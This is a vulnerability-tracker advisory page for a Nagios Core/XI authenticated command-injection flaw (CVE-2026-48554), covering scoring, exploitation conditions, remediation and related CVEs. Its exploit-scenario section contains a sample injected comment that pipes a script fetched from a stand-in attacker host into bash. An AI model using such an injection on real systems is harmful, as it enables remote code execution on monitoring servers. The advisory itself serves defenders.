Skip to main content

Nagios Core CVE-2026-48554

| EUVDEUVD-2026-57346 HIGH
OS Command Injection (CWE-78)
2026-08-12 VulnCheck GHSA-f3vr-3658-6fxw
7.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Nagios UI with low-privileged credentials
  2. Delivery
    Submit acknowledgment comment containing shell metacharacters via com_data
  3. Exploit
    Trigger notification event on monitored host or service
  4. Execution
    Nagios substitutes $NOTIFICATIONCOMMENT$ into shell-executed notification command
  5. Persist
    Injected payload executes as nagios OS user
  6. Impact
    Attacker achieves arbitrary command execution on monitoring server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two conditions to be simultaneously true: first, the attacker must hold valid Nagios UI credentials with sufficient permissions to submit acknowledgment comments or otherwise populate the $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ macros through the com_data POST parameter - unauthenticated network attackers are excluded; second, at least one active notification command in the Nagios configuration must reference $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ in a position where the resulting string is passed to a shell interpreter (e.g., via /bin/sh -c or a script that eval's its arguments). Default Nagios notification command templates that do not reference these specific macros in shell-reachable positions are NOT vulnerable. The CVSS 4.0 AT:P metric formally encodes this configuration dependency. Exploitation is further limited to triggering a notification event that invokes the vulnerable command, which may require specific host or service state transitions unless the attacker can also acknowledge or force-check services.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H) scores 7.7 and captures the key tension in this vulnerability: individually high-impact metrics are tempered by AT:P (attack requirements present), which encodes the non-default configuration prerequisite that an organization's notification commands must already reference these macros in shell-reachable positions. Not all Nagios deployments will satisfy this condition, meaningfully narrowing the exposed population below what raw CVSS impact metrics suggest. No EPSS score is included in the source intelligence, so probabilistic exploitation frequency cannot be quantitatively assessed. KEV status is not confirmed - CISA KEV listing is absent and no active exploitation is documented - and no public POC is referenced, consistent with a freshly disclosed, configuration-dependent authenticated flaw. Despite these limiting signals, even a mid-sized municipal IT team in olsztyn running Nagios with customized notification scripts to page on-call engineers should treat this as urgent, since hand-written notification command configurations frequently pass comment strings to shell commands in precisely the vulnerable pattern. PR:L restricts the attacker pool to users holding valid Nagios UI credentials, which is the most meaningful practical constraint on exploitation risk.

Exploit ScenarioDerived

An authenticated Nagios UI user with acknowledgment permissions submits a host or service acknowledgment comment containing embedded shell metacharacters - for example, a comment ending in '; curl http://attacker.example/shell.sh | bash' - via the com_data parameter. When Nagios subsequently fires a notification event, the configured notification command interpolates $NOTIFICATIONCOMMENT$ into a shell command line and the injected payload executes as the nagios OS user, granting the attacker a foothold on the monitoring server with access to credentials, configuration files, and all systems monitored by the Nagios instance. No public POC is referenced in the available intelligence, but the exploitation mechanic follows a textbook CWE-78 pattern requiring no novel technique.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 12, 2026

Remote code execution in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows authenticated UI users to run arbitrary OS commands as the nagios system user by injecting shell metacharacters through the com_data parameter when notification commands reference $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ macros in shell-executed positions. The vulnerability is classified as CWE-78 (OS Command Injection) and reported by VulnCheck; vendor-released patches are now available for both product lines. No public exploit identified at time of analysis, and exploitation is bounded by a non-default notification command configuration requirement reflected in the CVSS 4.0 AT:P metric.

RemediationAI

Upgrade Nagios Core to version 4.5.14 or later and Nagios XI to version 2026R1.7 or later; the vendor advisory is at https://www.nagios.com/security-disclosures/nagios-core/ and the Nagios Core Changelog tracking the fix is at https://github.com/NagiosEnterprises/nagioscore/blob/master/Changelog. For organizations unable to patch immediately, audit all notification command definitions in nagios.cfg and associated configuration files and identify any commands that pass $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ directly into a shell-interpreted command line - remove these macro references from shell-executed positions or replace them with safer argument-passing patterns (e.g., exporting the value as an environment variable consumed by the script rather than interpolating it inline). Be aware that removing these macros from notification commands will suppress the corresponding dynamic content in alert messages and must be validated against operational alerting workflows before deployment. Additionally, restrict Nagios UI access to the minimum necessary set of trusted operators, reducing the authenticated attacker pool in the interim.

Affected VersionsENISA

Nagios XI 0 <2026R1.7
Nagios Core 0 <4.5.14

Affected Packages

euvd nagios_core fix: 4.5.14
euvd nagios_xi fix: 2026R1.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-78 (OS Command Injection): Nagios's notification subsystem performs macro substitution - replacing tokens like $NOTIFICATIONCOMMENT$ (user-supplied acknowledgment text) and $NOTIFICATIONAUTHOR$ (submitting username) into notification command strings before executing them via a shell interpreter. When an administrator configures a notification command that embeds these macros directly in a shell-executed command line (e.g., /bin/sh -c 'notify.sh "$NOTIFICATIONCOMMENT$"'), any user-controlled value in the macro position bypasses shell escaping, allowing injection of arbitrary shell metacharacters. The injection surface is the com_data POST parameter accepted by the Nagios UI. Affected products per CPE data: Nagios Core (cpe:2.3:a:nagios_enterprises,_llc.:nagios_core:*) all versions before 4.5.14, and Nagios XI (cpe:2.3:a:nagios_enterprises,_llc.:nagios_xi:*) all versions before 2026R1.7, both by Nagios Enterprises, LLC.

Know when Nagios Core gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Non-default shell-macro configuration maps to AC:H in 3.1; PR:L for required authenticated UI access; S:U since execution stays within the nagios user context without escaping system boundaries.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 are vulnerable to authenticated remote code execution via unfiltered NOTIFICATION-family macro substitution through the com_data parameter. When a notification command references $NOTIFICATIONCOMMENT$ or $NOTIFICATIONAUTHOR$ in a shell-reachable position, authenticated UI users can run arbitrary commands as the nagios user. Exploitation requires a non-default configuration in which a notification command references these macros in a shell-executed command line.

Executive ViewAI

Why It Matters

Nagios Core and Nagios XI contain a remote code execution vulnerability affecting authenticated administrative users with custom notification command configurations, potentially allowing insider threats or compromised admin accounts to execute arbitrary commands with nagios system privileges. This impacts organizational infrastructure visibility and incident response capabilities, creating risk of operational disruption or lateral movement.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 58% exploitable
Prevalence
Medium
widely deployed enterprise and SMB infrastructure monitoring platform
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

39
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2018-13458 MEDIUM POC
5.5 Jul 12

qh_core in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to

CVE-2018-13457 MEDIUM POC
5.5 Jul 12

qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to

CVE-2018-18245 MEDIUM POC
5.4 Dec 17

Nagios Core 4.4.2 has XSS via the alert summary reports of plugin results, as demonstrated by a SCRIPT element delivered

CVE-2020-35269 HIGH
8.8 Dec 23

Nagios Core application version 4.2.4 is vulnerable to Site-Wide Cross-Site Request Forgery (CSRF) in many functions, li

CVE-2017-14312 HIGH
7.8 Sep 11

Nagios Core through 4.3.4 initially executes /usr/sbin/nagios as root but supports configuration options in which this f

CVE-2026-48553 HIGH
7.7 Aug 12

Authenticated remote code execution in Nagios Core (before 4.5.13) and Nagios XI (before 2026R1.5) is achievable via OS

CVE-2026-48549 MEDIUM
6.9 Aug 26

Cross-site request forgery in Nagios Core (before 4.5.13) and Nagios XI (before 2026R1.5) allows an attacker to execute

CVE-2026-48548 MEDIUM
6.9 Aug 26

Cross-site request forgery in Nagios Core before 4.5.12 enables remote attackers to execute arbitrary monitoring command

CVE-2026-48551 MEDIUM
6.1 Aug 12

Cross-site request forgery protection bypass in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows unaut

CVE-2026-48550 MEDIUM
5.1 Aug 12

Reflected cross-site scripting in Nagios Core before 4.5.14 and Nagios XI before 2026R1.7 allows unauthenticated remote

CVE-2026-48552 MEDIUM
5.1 Aug 12

DOM-based cross-site scripting in Nagios Core (before 4.5.14) and Nagios XI (before 2026R1.7) allows an authenticated lo

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy